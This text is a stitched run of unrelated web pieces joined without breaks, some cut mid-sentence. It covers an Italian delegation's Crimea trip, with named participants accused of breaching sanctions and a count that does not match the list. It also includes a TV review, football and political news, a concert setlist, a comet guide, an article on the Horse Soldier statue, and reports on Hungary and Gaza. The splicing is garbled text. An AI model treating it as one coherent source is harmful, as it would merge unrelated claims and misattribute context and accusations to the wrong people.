In a separate report, TASS called the businessmen “authorized representatives of the business community”.
All of this serves as good propaganda for Russia, but is a direct admission of violation of EU sanctions which are binding on Italy as a member state.
Anton Shekhovtsov has managed * to identify all of the 18 “politicians and businessmen”. This makes it clear which businesses warrant particular scrutiny.
All members of this group breached Ukrainian law by not entering Crimea through Ukrainian passport control.
According to Russian media, the trip was organized by the so-called ‘Yalta International Economic Forum’ and ‘government of Crimea’. The ‘forum’ is referred to as a ‘fund’, and it seems likely that this was an all-expenses paid excursion for the participants.
They appear to have been marginally less obsequious than the group of French politicians in early August, whose trip was also almost certainly Russian-funded. In their collaboration with the occupation regime, the French politicians - 10 from Nicolas Sarkozy’s Republican Party and one ex-socialist – even denied well-documented and irrefutable arrests, forced disappearances and killings (see French Collaborators Kiss Monument to Russian Invaders of Crimea). In fact, even silence about such abuses, about the latest wave of arrests and mounting repression against Crimean Tatars is already a craven betrayal.
The Italian Foreign Ministry earlier called on the group to refrain from their illegal visit. Since at least one member of the group has publicly admitted to breach of EU sanctions, it would seem appropriate for the Italian prosecutor to start asking questions.
Members of the group
1. Stefano Albrigi (owner of the company "Albrigi Srl").
2. Stefano Bargi (Lega Nord Emilia e Romagna).
3. Gian Angelo Bellati (director of the Chamber of Commerce of the Veneto region).
4. Fabio Bosio (owner of the company "Brescia").
5. Marina Buffoni (Fratelli dItalia).
6. Attilio Carlesso (president of the company "Cantina di Soave").
7. Roberto Ciambetti (Liga Veneta–Lega Nord).
8. Jari Colla (Lega Lombarda-Lega Nord).
9. Alessandro Gonzato (journalist).
10. Antonio Nicodemo (a manager of the company "Veronesi").
11. Roberto Penazzi (?).
12. Alessandro Piana (Lega Nord Liguria).
13. Luciano Sandonà (Lista Zaia/Liga Veneta–Lega Nord).
14. Fulvio Scandiuzzi (CEO of the Scandiuzzi Steel Constructions Spa).
15. Luciano Soldà (?).
16. Tancredi Turco (Alternativa Libera).
17. Stefano Valdegamberi (Lista Zaia/Liga Veneta–Lega Nord).
18. Marcello Veronesi (owner of the company "Veronesi").
19. Manuel Vescovi (Lega Nord).
The Italian delegation was accompanied by Robert Stelzl, an Austrian and an employee of Ewald Stadler, the leader of the fringe right-wing populist Reformkonservativen party. Both Stelzl and Stadler were among observers of the pseudo referendum in March 201423 June 2017 | mat-fletcher
3 | Terrible
I really love the movie and the short story. What a back story there is to explore, not to mention the horror of what we know is in the mist.
When I heard that a TV show was being made I got excited, they could not go wrong, the work had be done by the movie to set it up to be scary, exciting adventure and I really want to know more about Arrowhead.
What i just watched had absolutely nothing in common with the book or movie, it was a terrible...and I do mean terrible, production with poor acting, poor script, unlovable and uninteresting characters and they spent most of the first episode ticking boxes. Weird, make up wearing teenage boy who is gay / not gay, football jocks, rape, sex education gone wrong, racism etc...
Those things have a place but it's not in a show about monsters in the mist.
I don't know if i can go through another episode, I probably will, it cant be any worse than the pilot.
I am annoyed about this, this failure of a show could prevent anyone else from trying to continue the Mist story in the future.Italy Rivalry with San Iker has come to a close
For most of their international careers, Gianluigi Buffon and Iker Casillas have faced one another but both Spain and Italy are embarking on a new era.
As well as changes on the touchline - with Giampiero Ventura replacing Antonio Conte as head coach for Italy post-Euro 2016 and Julen Lopetegui replacing Vicente Del Bosque for Spain - the tie between the two nations will see Buffon up against David de Gea, a change from his famous battles against Casillas.
"It will be strange not to see Iker [Casillas]," Buffon said. "What's happening with him is a sign for me.
"The life of an athlete is to first be a protagonist and then to become a spectator, so I will soon have to start preparing for the latter."
The last-16 tie between the two at Euro 2016, in which Italy won 2-0 thanks to goals from Giorgio Chiellini and Graziano Pelle, was one of the biggest talking points, as the defending champions crashed out.
Discussing what Italy did to beat Spain, Buffon believes that Italy's mentality shone through.
"There were a lot of nerves and adrenaline in that game," he stated. "I remember two teams with a strong mentality, but I cannot remember everything that happened.
"We had a very intense game and were excellent mentally, which we will also have to have tomorrow [Thursday]."
Buffon expects to see a different Spain on Thursday, however.
"I expect to see a wounded Spain who are eager for revenge," he continued. "We are two new teams.
"They have not forgotten the defeat, for sure, so we must be united and humble."NV Subhash said PV Narasimha Rao always met Sonia Gandhi before and after Cabinet meetings.
As India marks 25 years of economic reforms initiated by PV Narasimha Rao, his grandson NV Subhash rued that the Congress has not "acknowledged" his contribution, but debunked suggestions that the former prime minister had a frosty relationship with Sonia Gandhi.Finding fault with the perception in some quarters that Mr Rao did not get along well with Mrs Gandhi when he was at the helm of affairs, Mr Subhash said the two had a very good relationship.Mr Subhash said Mr Rao always met Mrs Gandhi before and after Cabinet meetings, consulted her on Cabinet expansions and foreign trips and also held discussions with her on "candidates of her choice" ahead of elections."What more a prime minister can do?" he told PTI, adding that the Gandhis were given SPG protection, government funds were released to the Rajiv Gandhi Foundation and Mr Rao took "good care" of the family."Many people thought if he (PV Narasimha Rao) continued for five years (as PM), people will forget about Nehru-Gandhi family. For their advantage, they have really corrupted her (Sonia Gandhi's) mind. I don't think he (PV Narasimha Rao) had any grudge against her. After all, her husband (Rajiv Gandhi) was his leader. Naturally, he has to give some respect," Mr Subhash said.He also said this generation now is enjoying fruits of liberalisation, the seeds of which were sown in 1991, with the country making rapid economic strides, and it goes to Mr Rao's credit that successive governments, irrespective of parties, followed the reforms path he embarked on, with basic structure of the policy intact."It should be really acknowledged, whichever party is there. In other countries, people acknowledge their leaders. Unfortunately here, Congress government neither reciprocated, nor acknowledged. That's the saddest part. He hasn't been given any due. That's why I joined the BJP just before the elections in 2014," Mr Subhash said.He said he met Sonia Gandhi soon after PV Narasimha Rao's death and made |
funds under various social schemes including NREGS, besides what accrues from the devolution package.
A few months ago, Maoist groups had issued a call to boycott these elections in eight districts including Malkangiri, Koraput, Kandhamal, Nuapada and Nayagarh. This was followed by a more specific threat against candidates who attempted to file nominations without Maoist consent.
These districts benefit from the Backward Region Grant Fund and much of it has to be implemented by panchayats. The prospect of Maoist groups controlling development funds and dispersing it as per their priorities, officials say, is a "very disturbing trend".
The central government has asked security agencies to keep a close watch on the situation.
Please read our terms of use before posting commentsNIN Live: 2013
October 15, 2013, Newark, NJ, Prudential Center
Setlist
Copy of A
1,000,000
Terrible Lie
March of the Pigs
Reptile
All Time Low
Disappointed
Come Back Haunted
Find My Way
Into The Void
The Big Come Down
In Two
Survivalism
Running
A Warm Place
Somewhat Damaged
Wish
The Hand That Feeds
Head Like A Hole
Echoplex
I'm Afraid Of Americans
While I'm Still Here - Black Noise
Hurt
Show Memorabilia
Known Recordings
Source 1: Audio - AUD (SP-CMC-4U + SP-SPSB-10 + Tascam DR-08)
Taper: Doctorzap
Time: 120 minutes
Rating: 4 out of 5
Hear a Sample: Running, 2 Minutes
Download the Full Show:.Zip File FLAC, 652.7 MB
Added to Archive: October 17th, 2013
Comments:
This show is the tour debut of "The Big Come Down." Good recording. Some mic phasing during 1,000,000. Sounds like the taper might have went out into the concourse during the song.
Source 2: Audio - AUD (Sony ECM-719 + Sony MZ-RH910)
Taper: NINslave
Time: 92 minutes - Incomplete
Rating: 4 out of 5
Hear a Sample: Reptile, 2 Minutes
Download the Full Show:.Zip File FLAC, 340 MB
Added to Archive: October 17th, 2013
Comments:
Taper had problems with his MD recorder during the show. Some points of brickwalling in the recording because the last time he used this recorder was at the Webster Hall show in 2009. The MD recorder would not allow to adjust the recording level, so the taper ran with the levels from the previous show. The MD recorder also stopped recording after "Head Like a Hole" so this tape is incomplete.Claim: Photograph shows a 740′ x 390′ floral flag made of larkspur.
TRUE
Example: [Collected via e-mail, 2002]
The 2002 floral flag is 740 feet wide and 390 feet high and maintains the proper flag dimensions as described in executive order #10834. This flag is 6.65 acres and is the first floral flag to be planted with 5 pointed stars, each star is 24 feet in diameter; each stripe is 30 feet wide. This flag is estimated to contain more than 400,000 Larkspur plants with 4-5 flower stems each for a total of more than 2 million flowers. Aerial photo courtesy of Bill Morson
Origins: The floral flag pictured above was planted in the City of Lompoc, California, as a tribute by the Bodger Seed Company after the 9/11 attacks of September 2001 and quickly became one of that town’s most popular features:
The 2002 Floral Flag was planted by the Bodger Seed Company. Planted as a tribute after the September 11, 2001 tragedy, the Floral Flag has been featured in many news and magazine articles, and has brought positive recognition to our community. The Floral Flag continues to be one of the most popular pages on our website.
The flag was, as the caption notes, made of 400,000 larkspur flowers, measures 740 feet by 390 feet and covers 6.65 acres. Each of the fifty stars was 24 feet in diameter, and each of the thirteen stripes was 30 feet high.
The web site for the City of Lompoc offers additional information about their 2002 Flag Day celebration that featured this flag, including a large satellite photo of the Floral Flag and a short video of it shot from an airplane.Fire Emblem if/Fates - Joker x Sheriah (Rapunzel)
Mabinogi - Huw x Akane (Alice in Wonderland)
For a collaborative work on the theme of “Fairy Tale & Favorite Couples”.
Full collaboration with other people’s lovely works: http://moonmist.wix.com/fairytale
(It’s for a genre of subculture called “Dream”, in which you create your own character to fall in love with a pre-existing character(s) from manga/game/comic/movie etc. I don’t know what the Western subculture calls it…)
These came out good I think. I invested much time in the Alice one, and had only 4 hours for the Rapunzel one… so I improvised!
Sheriah(Corrin/Kamui)’s dress is VERY loosely based on the Dark Blood(Nohr Noble) costume.
Huw is an NPC in Mabinogi that I’ve always liked! He’s a puppeteer so I added some marionette-themed stuff. Both of their costumes are based on actual outfits from the game.
Process gifs included!AURORA | An Arapahoe County judge Monday ruled in favor of the city as he shot down a challenge to a ballot measure that, if voters approve it, would allow for a massive racetrack development.
Opponents of the measure had argued it violated the state’s “single Issue” ballot measures and was too broad and confusing.
The ballot question asks voters to strike language from the city’s charter barring officials from offering financial incentives to racetrack facilities.
In a statement Tuesday, “Aurora Residents for Transparency,” which opposes the ballot measure and brought the legal challenge, chided Arapahoe County District Court Judge John Wheeler for siding with the city, paving the way for voters to decide the issue this fall.
Kristin Mallory, part of the group, called the judge’s ruling a disappointment.
“While we are disappointed, the decision did reaffirm that ballot initiatives must be single subject,” the group said in a statement. “We simply disagree with the notion that deleting the prohibition of funds for a private industry, and the creation of the entertainment district is one issue.
“If City Council had the same political will power to lift people out of poverty and provide affordable housing as they are showing for this racetrack, we’d be in a much better place as a city.”
Wheeler heard several hours of testimony on the challenge last week. Lawyers representing the city argued that the measure did not violate the city’s charter regarding election rules, and prevailing lawyers pointed to other similar ballot language in other cities.
City officials — including Mayor Steve Hogan and City Councilwoman Sally Mounier — attended last week’s hearing and said they were confident the city will prevail.
Passed on a city council vote of 7-3, the freshly approved ballot question marks the third time city politicos have asked voters to take the prohibitory language regarding racetracks out of the city’s charter. The verbiage was added to the charter after a citizen-led initiative successfully lobbied voters in 1999 to pass a measure calling for the racetrack ban.
The most recent attempt to remove the racetrack incentive language lost by slightly more that 1,000 votes in 2015.
On top of allowing for the possibility of constructing a racetrack facility — similar to the Kansas Speedway in Kansas City, Kansas — the city’s measure would permit a sweeping entertainment district. While details on a potential district have been scant, it would be quarantined to land north of Interstate 70 and east of Hudson Road and barred from operating within half-a-mile of residential properties, according to the proposed language.
— Reporter Quincy Snowdon contributed to this story.Comet C/2013 X1 (PanSTARRS) has slightly increased in brightness and observers are reporting the comet’s magnitude at around 6.8. That means it’s not visible to the unaided eye, but it is visible in binoculars and small telescopes. Comets have shown to be unpredictable, so monitoring is encouraged!
The comet is still approaching Earth and will pass distantly, at over 59 million miles (95 million km) from our planet, on June 21-22, 2016. The celestial visitor was recently seen from the Southern Hemisphere, but is now visible in Northern Hemisphere skies. This post has charts and other information that can help you spot the comet in the coming weeks.
During this month – June 2016 – Comet C/2013 X1 is visible with optical aid between the constellations of Piscis Austrinus and Sagittarius. From the Northern Hemisphere, that area of the sky is visible in the direction south-southeast before sunrise.
Since the comet is low in the sky, it’s essential to avoid visual obstructions. Trees or tall buildings on your horizon will hide it from your view.
Don’t expect to see a glamorous tail; the comet is showing modest twin tails in recent long exposure images, but visually, using a small telescope, it will look like a dim patch of haze or a small ball of cotton.
Still, it’s always fascinating to see a celestial visitor that came from the distant Oort cloud.
It’s also amazing to know that the fuzzy object is traveling though space at a speed of 112,742 miles per hour (181,440 km/h)!
The PanSTARRS 1 telescope in Hawaii discovered this comet on December 4, 2013. Comet C/2013 X1 reached its perihelion (closest to sun) on April 20, 2016.
Closest approach to Earth will happen on June 21-22, 2016, but by then the comet is very low in the sky. Plus its closest point to Earth coincides with the interfering light from a full moon.
Observers in the southern United States, and especially observers in even lower latitudes, will have a better position to try to see the comet (with optical aid) during closest approach.
Bottom line: The illustrations on this page can help you find Comet C/2013 X1 (PanSTARRS), whose closest approach to Earth is June 21-22, 2016.America's Response Monument, subtitled De Oppresso Liber, is a life-and-a-half scale bronze statue in Liberty Park overlooking the National September 11 Memorial & Museum in New York City. Unofficially known as the Horse Soldier Statue, it is the first publicly accessible monument[2] dedicated to the United States Special Forces. It was also the first monument near Ground Zero to recognize heroes of the September 11 terrorist attacks.[3]
The statue was conceived by sculptor Douwe Blumberg and first sold in 2003 as a small-scale, 18 inches (460 mm) version. In April 2011, an anonymous group of Wall Street bankers who lost friends in the 9/11 attacks commissioned a large, 16 feet (4.9 m) tall version. It was dedicated on Veteran's Day, November 11, 2011, in a ceremony led by Vice President Joe Biden and Lt. Gen. John Mulholland, commander of Task Force Dagger and U.S. Army Special Operations Command during Operation Enduring Freedom.[4]
The statue commemorates the service members of America's Special Operations forces and their response to 9/11, including those who fought during the first stages of the Afghanistan war. This operation led to the initial defeat of the Taliban in Afghanistan.
Background [ edit ]
The Special Operations team was inserted into Afghanistan at night aboard two MH-47 Chinook helicopters.
The artist, sculptor Douwe Blumberg, had been a horse trainer for 18 years and is a military history buff. He has completed more than 200 private and public commissions and has received numerous awards.[5] He was inspired to begin the sculpture by a photo that Defense Secretary Donald Rumsfeld displayed at a press conference at the Naval Training Center Great Lakes, Illinois, on 16 November 2001, shortly after U.S. forces entered Afghanistan.[6][7]
As part of Operation Enduring Freedom, President George W. Bush sent covert forces into Afghanistan to help the Northern Alliance defeat the Taliban. The group, named Task Force Dagger, was a joint Special Operations team consisting of Green Berets from the 5th Special Forces Group, aircrew members from the 160th Special Operations Aviation Regiment ("Nightstalkers"), and Air Force Combat Controllers.
Flight into Afghanistan [ edit ]
Further information on the opening phase of Operation Enduring Freedom: 5th Special Forces Group (United States)
The 12-man Operational Detachment Alpha 595 (ODA 595) team, along with two Air Force combat controllers, were the second group of Task Force Dagger to enter Afghanistan. In the first operation of its kind, they were flown from a former Soviet airbase, now named the Karshi-Khanabad Air Base, in Uzbekistan[8] more than 300 kilometers (190 mi) across the 16,000 feet (4,900 m) Hindu Kush mountains in zero-visibility conditions by a SOAR MH-47E Chinook helicopter. They were dropped onto a farmer's field at 0200 on October 19, 2001,[9] about 80 km (50 mi) south of Mazar-i-Sharif in the Dari-a-Souf Valley, south of Mazar-e-Sharif. The team arrived only 39 days after the Al-Qaeda attack on the World Trade Center for what they thought would be a year-long stay.[8] They linked up with the Northern Alliance led by General Dostum.
Horseback transportation [ edit ]
Once they arrived in-country, they needed transportation suitable to the difficult mountainous terrain of Northern Afghanistan. The Afghan tribes offered the men the only transportation available: small Afghan horses. Only two men had any experience on horseback. Capt. Mark Nutsch, commander of ODA-595, who grew up on a ranch riding horses, gave quick lessons to the others.[10]
Capt. Will Summers, Special Forces team leader, said "It was as if The Jetsons had met The Flintstones."[10] The mostly inexperienced riders soon requested replacements for the traditional small, hard, wooden saddles used by the Afghanistan soldiers. A supply of lightweight, Australian-style saddles was air-dropped in mid-November.[9] The last U.S. Army unit to fight on horseback was the U.S. Army's 26th Cavalry Regiment. On January 16, 1942, Troop G encountered Japanese forces at the village of Morong and Lieutenant Edwin P. Ramsey ordered a cavalry charge.[11] The last troops to receive training on riding horseback was the 28th Cavalry in 1943.[12]
Initial attack against Taliban [ edit ]
On October 21, the Northern Alliance led by General Dostum prepared to attack the fortified village of Bishqab, defended by Taliban equipped with several T-54/55 tanks, a number of BMPs (armored personnel carriers) armed with cannons and machine guns, and several ZSU-23 anti-aircraft artillery. The Northern Alliance totaled about 1,500 cavalry and 1,500 light infantry. They were assisted by the 12-member U.S. Special Forces team and American air power. To reach the enemy, they crossed a mile-wide open plain cut by seven ridges that would leave them completely exposed to enemy fire. To the U.S. Special Forces, it looked like the Charge of the Light Brigade, Battle of Fredericksburg, and Pickett's Charge at Gettysburg, all at the same time.[13] Supported by American air power and precision-guided munitions, they successfully attacked the Taliban, many of whom threw away their weapons and ran.
The next day, the Northern Alliance prepared to attack Cōbaki, Balkh Province, 121 kilometres (75 mi) south of Mazar-i-Sharif. The U.S. Special Ops teams used SOFLAM Laser Target Designators to identify targets for air strikes on the enemy armor and artillery. The Northern Alliance followed this with a horse cavalry charge. When it looked like Dostum's cavalry charge would fail, several members of ODA 595 rode into action and helped win the battle.[13] "It was like out of the Old Testament," commented Lt. Col. Max Bowers, former commander of three Special Forces horseback teams. "You expected Cecil B. DeMille to be filming and Charlton Heston to walk out."[14][15][16]
Soldier photo [ edit ]
[6][17] U.S. Special Operations, members of ODA 595 and Force Dagger, and Afghani forces on horseback in northern Afghanistan during October 2001. This photo inspired Blumberg to create the sculpture.
During a news conference on November 15, 2001 Defense Secretary Donald Rumsfeld displayed a photo of ODA 595 riding across a field on Afghan horses. When sculptor Blumberg saw that image, he said he was "riveted" and felt impressed that he had to do something.[15]
Being a military history nut, an ex-horseman and a patriot, I was just blown away by the image of this 21st-century high-tech soldier on what could have been a 15th-century Afghan horse. It was iconic and ironic at the same time, on so many levels. First, the adaptability of these guys – they weren't trained on horseback. They just climbed up and went... the first Americans to ride into combat on horses in over 50 years. So I see this picture and said, 'I have to do this.'[18]
"The visual irony of a 21st-century, high-tech trooper mounted on a ragged Afghan mountain horse, unchanged for centuries, fascinated me."[19] Despite the array of high-tech military gear they carried into battle, it was the trusty Afghanistan stallions that were essential to the campaign's success. The mounted US troops became known as the "horse soldiers".[20]
Production [ edit ]
Initial design [ edit ]
This picture of Air Force combat controller Staff Sgt. Bart Decker on an Afghan horse was a model for Blumberg when he began to design the statue. Decker rode with the U.S. Special Ops teams and Northern Alliance forces during the opening days of Operation Enduring Freedom.
After seeing the photo of the modern soldiers on horseback, Blumberg decided to create a statue to commemorate the actions of the service members of America's Special Operations who responded to the 9/11 attacks, including the Special Operations forces who fought in the early stages of Operation Enduring Freedom. On his own initiative and expense, Blumberg took three months to complete a 1:6 scale, 18 inches (460 mm) tall bronze sculpture of a Green Beret riding an Afghan horse.[21] In 2002, while at a show in Louisville, Kentucky, he brought the work in progress with him. A Vietnam-era Green Beret saw the work and told Lt. Col. Frank Hudson from the 5th Special Forces Group at Fort Campbell about the statue, who called Blumberg. Blumberg sent him pictures of the work. Hudson saw a number of inconsistencies in the statue with the reality of what happened in the field.[18]
First version produced [ edit ]
Blumberg was invited to Fort Campbell where he met members of the team who had only recently returned from Afghanistan. Capt. Mark Nutsch, commander of ODA-595, who grew up on a ranch riding horses, helped critique the statue for Blumberg. Blumberg soon learned that the statue he thought was finished was extremely inaccurate and needed considerable additional work. The soldiers showed Blumberg the indigenous horse tack made out of dried sinew that they had brought back from the war. Blumberg got the men's phone numbers and began collaborating with them to produce a highly accurate representation of a member of their team on horseback.[18] Blumberg invited some of them to his studio where they worked closely with him.[22]
Small version made [ edit ]
Blumberg took another three months to re-sculpt the piece until he was sure he got the horse and soldier precisely correct. "This job is something I'm emotional about," Blumberg said. "This allows me to honor soldiers, capture a unique aspect of their service and then have the opportunity to put it in New York. I couldn't have scripted it better. This is super powerful for me."[23]
Blumberg cast 120 18 inches (460 mm) pieces for public sale and another 120 for sale at cost to members of the special forces.[18] On March 5, 2004, he presented a copy of his completed work to the John F. Kennedy Special Warfare Museum, the regimental museum for the U.S. Army Special Forces at Fort Bragg.[13] In 2003, the non-profit Foundation for US Historical Monuments was formed to help build a monumental version, but their efforts came to nothing.[22]
Wall Street backers [ edit ]
Eight years later, in March 2011, he received a call from a group of New York City Wall Street bankers who lost friends and co-workers in the 9/11 attacks.[19] Two of the individual Wall Street supporters said they were asked by families and friends if there was a place that individuals could go to remember the U.S. troops overseas who daily combat potential terrorist threats. "We wanted to do something for the special operations community and all military service branches, because every day since 9/11, we've had to look at that hole in the ground," one of the private backers says. "What everyone needs to know is: There are people out there like this team, like the Green Berets, that are willing to sacrifice at all costs for them."[19]
Large-scale version cast [ edit ]
The bankers wanted a large-scale version to lead the Veterans Day parade only six months later. They commissioned Blumberg to build a monument to be placed near Ground Zero, paying $500,000 for the work.[24] The Gary Sinese Foundation[25] and the Green Beret Foundation[26] supported the effort to build the monument. No public funds were used.
Blumberg lives in DeMossville, Kentucky. However, much of the work on the bronze monument was done by the Crucible Foundry in Norman, Oklahoma, a full-service foundry specializing in monumental bronze.[5] To get the work completed in time for the November 11 parade, Blumberg spent many weeks on-site at the foundry.[18]
Description [ edit ]
Blumberg puts the finishing touches on the full-size clay model of the horse soldier sculpture before the bronze work is begun.
The life-and-a-half scale,[22] 5,000 pounds (2,300 kg)[1] bronze statue is 16 feet (4.9 m) tall including a 3 feet (0.91 m) tall granite plinth. The base bears the sculpture's title, "America's Response Monument." The statue is sub-titled De Oppresso Liber, which is Latin for 'to liberate the oppressed', the motto of the Green Berets.[27]
It depicts a Special Forces Green Beret on horseback leading the invasion into Afghanistan. He is holding field glasses in one hand. An M4 with an attached grenade launcher is slung under his shoulder. An outline of a wedding band is visible under the glove of the soldier's left hand. Blumberg said, "That's my way of tipping my hat to wives, marriages and strain on families. It's to acknowledge the stresses caused by multiple deployments."[19] Blumberg created the sculpture's face without using a model or photos. It does not represent the face of a specific individual.[28]
The small, Afghan "Lokai" horse shows "Tersk" breeding, indicating a horse of Eastern European heritage descended from horses brought in by the Soviets in the 1980s. In the Afghan culture, the soldiers only ride stallions into battle.[22] The horses could be difficult to control, and the statue depicts the horse rearing back. The horse tack depicted by Blumberg is traditional to the Aghani people. A tasseled breast collar helps keep the flies off the chest and legs.[22] The statue's base reflects the steep, precipitous slopes the soldiers often traveled on horseback.[29]
World Trade Center steel [ edit ]
During the battle against the Taliban, each Green Beret ODA team carried a piece of steel recovered from the rubble of the World Trade Center in honor of the 9/11 victims.[5] Later during the war, they each buried their piece of steel at a significant point in the battle. Bowers chose Mazar-i-Sharif as the location to bury his piece of the World Trade Center. This was the location of one of their toughest battles and where CIA officer Mike Spann became the first American killed in action in Afghanistan.[5]
Like the soldiers it honors, the statue carries a piece of steel from the World Trade Center. It is visible under the plinth, embedded in the base.[29] The monument's inscription states that the steel "symbolizes the connection between the events of 9/11 and the actions of the special operations heroes this monument honors."
Dedication [ edit ]
The statue was introduced to the public during the Veteran's Day Parade in New York City on November 11, 2011. The statue was displayed on a float which led the parade along Fifth Avenue from 23rd Street north to 56th Street.[29] It was dedicated the same day in a ceremony led by Vice President Joe Biden and Lt. Gen. John Mulholland, commander of Special Operations Command and formerly commander of Task Force Dagger during the initial days of the War in Afghanistan.[10][30] New York City ironworkers who had helped build the World Trade Center were among those who helped transport, move, and install the statue temporarily in the West Street Lobby inside One World Financial Center in New York City opposite Ground Zero.[18]
It is the first publicly accessible monument to United States special forces.[31][2] The Special Warfare Memorial Statue, commemorating the actions of Green Beret forces in the Vietnam War, was placed on Meadows Memorial Field at Fort Bragg, North Carolina on November 19, 1969, but all visitors must pass through base security.[32][33] The land at One World Trade Center for the monument was donated by a private Wall Street firm.[10]
Rededication at One World Trade Center [ edit ]
The statue was rededicated on October 19, 2012 by General John Mulholland. He dedicated the statue in its new location in front of One World Trade Center across from Ground Zero and 9/11 Memorial. The bronze statue was positioned so the soldier atop the horse is keeping a watchful eye over the World Trade Center and its tenants. Soldiers representing the United States Army Special Operations Command attended the ceremony.[30] At its rededication, the statue's entire cost of over $750,000 had been paid by hundreds of private citizens.[34]
Moved to Liberty Park [ edit ]
On September 13, 2016, the statue was rededicated once again at a permanent site on an elevated space on the south side of Ground Zero in Liberty Park, a 1 acre (0.40 ha) park in Lower Manhattan. The park was built on top of the World Trade Center's Vehicular Security Center and overlooks the National September 11 Memorial & Museum.[35][36]
In popular culture [ edit ]
In 2009, Disney bought the movie rights to Doug Stanton's book Horse Soldiers and Jerry Bruckheimer began seeking financing in December 2011.[37] The 2018 war drama film 12 Strong, directed by Nicolai Fuglsig and written by Ted Tally and Peter Craig, was released on January 19, 2018. The statue is featured in the final few moments of the film before the credits are shown.[38]
References [ edit ]
Further reading [ edit ]A PUBLIC service announcement (PSA) produced by the Hungarian government has provoked worldwide outrage by placing the blame for sexual assault on survivors. The video depicts young women dressing provocatively, drinking and dancing, with the consequence of an attack by a stranger, before ending with the words, “You are responsible. You can do something about it.”
The media initiative coincided with a statement issued by police in Vas County on November 25, the International Day for the Elimination of Violence against Women, warning women that flirting might be expected to “elicit violence.”
Justifiably outraged, Hungarian feminists were quick to respond. Keret, a consortium of Hungarian women’s rights organizations, issued a letter of protest titled “Clothes Do Not Make the Victims!” In this statement, Keret says that the broadcasts are produced by “misogyny and contempt for women,” that the video propagates misconceptions, and that the government’s claims are incompatible with international human rights standards and Hungary’s commitments to these.
SlutWalk Budapest organized a November 30 demonstration that began at 3:30 in the afternoon at Déak Ferenc Square with scores of protestors demanding that the Hungarian government abandon its deplorable campaign and replace it with one that raises awareness about the facts regarding rape and the rights of survivors.
SlutWalk is a movement of protest marches that first occurred three years ago in Toronto, Ontario, in response to comments by a police officer who suggested a woman’s choice of dress was a primary cause of sexual violence. Demonstrations inspired by the Toronto protests have subsequently taken place in cities all over the world.
These protests explicitly counter the message conveyed by the Hungarian PSAs that victims of assault are themselves responsible for the acts of violence committed against them, simply as an effect of their dress or behavior. As Jen Roesch wrote during the initial outpouring of SlutWalk events:
We should reject outright the victim blaming that says a woman “asked for it” if she dresses a certain way or has had previous sexual partners. But we must go further and build an anti-sexist movement that can empower women to confidently accept or refuse sex according to their own desires–and create the kind of culture in which men understand and respect the difference.
The content of the videos is so blatant in its illustration of what feminists have named “rape culture” that many viewers initially react with disbelief. It is actually somewhat rare to find such an explicit attempt to force women to police themselves–all under the guise of protecting them. For this reason, it is worth considering the ideology that the Hungarian state wishes to disseminate, and how this is related to its larger political agenda.
Read the full article here.The Clinton campaign’s decision on Thursday to postpone its Florida ads on the Weather Channel underscores the difficultly in striking the right balance in the wake of Hurricane Matthew. | Getty Clinton postpones Weather Channel ads in Florida
Hillary Clinton’s presidential campaign said Thursday that it is asking cable systems in Florida not to run its advertisements on the Weather Channel with Hurricane Matthew bearing down on the state — after Republicans seized on the planned ads as opportunistic.
On Wednesday, POLITICO reported, as part of a larger cable-television buy in the battleground states, Clinton’s campaign had reserved airtime on the Weather Channel in a number of states, including $63,000 earmarked for Florida.
“Earlier in the week we made changes to our TV ad reservations across hundreds of stations in several battleground states including Florida,” Clinton campaign spokesman Jesse Ferguson said Thursday. “Less than 1 percent of those changes included the Weather Channel. We have requested that stations in Florida delay any of those ads on the Weather Channel until after the storm passes.”
Ratings for the Weather Channel typically spike during major events, and the potential for the first major hurricane to make landfall in the United States in nearly 11 years should draw more eyeballs to the channel. Both Clinton and Donald Trump have advertised on the channel earlier in the campaign, during more normal weather episodes.
Some Republicans, however, seized on the ad purchase. Republican National Committee Chairman Reince Priebus called it “shameful” in a Twitter post and said the Clinton campaign was “exploiting Hurricane Matthew for political gain.”
And even after word first spread that the Clinton campaign was postponing its ad campaign, Priebus called on Clinton to “apologize for using [the] storm for votes.”
As of 2 p.m. Eastern time, Matthew was 125 miles southeast of West Palm Beach, Florida — moving toward the coast at 14 miles per hour. The storm’s maximum sustained winds were clocked at 140 miles per hour, with higher gusts, making Matthew a Category-4 storm on the Saffir-Simpson Hurricane Scale. Hurricane conditions are expected to reach Florida’s Atlantic coast by late Thursday.
If the storm impacts Florida as forecasts indicate, both Clinton and Trump will face questions about how to continue their campaigns with part of the nation’s largest swing state working to recover from the storm’s damage. The Clinton campaign’s decision on Thursday to postpone its Florida ads on the Weather Channel underscores the difficultly in striking the right balance.
“Well, there will be a lot of people watching the Weather Channel, but I don't know if they want to see a politician talking about politics. They probably want to know about their family and friends and loved ones, so I don't know if that's smart,” Sen. Lindsey Graham (R-S.C.) said on CNN on Thursday. “But I lost, so who the hell am I telling her what to do?”Story highlights Omar Abu Namar, 30, and Heba Fayad, 23, were married in ceremony at UNRWA shelter
The couple moved to the Gaza shelter after their homes in Beit Lahiya were destroyed
UNRWA paid for the couple to spend their first few nights as husband and wife in a hotel
Amid the death and destruction of life in Gaza, a spark of hope for the future: A Palestinian couple have married in a makeshift wedding ceremony at the UNRWA shelter which has become their temporary home.
Omar Abu Namar, 30, and Heba Fayad, 23, moved to the shelter -- a U.N. school in Gaza City's Shati refugee camp -- after their homes in Beit Lahiya were destroyed in the conflict with Israel, throwing their wedding plans into disarray.
Fayad's white dress and other items for the wedding were lost, and she and her husband-to-be faced the prospect of having to postpone their special day indefinitely, before friends, family and others stepped in to help.
"I went to UNRWA and told them that I am engaged and asked them if they can help me to do the wedding," Abu Namar explained in an interview with the Watania Media Agency, published on YouTube.
"They said yes, we will help you with it. They stood by me, and helped with the wedding from A to Z."
JUST WATCHED Five killed despite Mideast cease fire Replay More Videos... MUST WATCH Five killed despite Mideast cease fire 01:58
JUST WATCHED Palestinians: Cease-fire extended 5 days Replay More Videos... MUST WATCH Palestinians: Cease-fire extended 5 days 04:17
JUST WATCHED Stabilizing Gaza during cease-fire Replay More Videos... MUST WATCH Stabilizing Gaza during cease-fire 02:21
UNWRA offered to host the wedding at the shelter, and even paid for the couple to spend their first few nights as husband and wife at a hotel, away from the crowds of thousands of fellow displaced people now living under the same roof.
Those crowds -- the couple's new neighbors -- were in attendance as Abu Namar and Fayad celebrated their wedding.
For many the party, complete with dancers, music, balloons and cake, offered a much-needed break from the bloodshed, and a chance to forget the troubles of recent weeks.
"Now that we are at the wedding, we have a change of spirits: enough depression and melancholy, this is something else," guest Haya Aziz told the Agence France-Presse news agency (AFP).
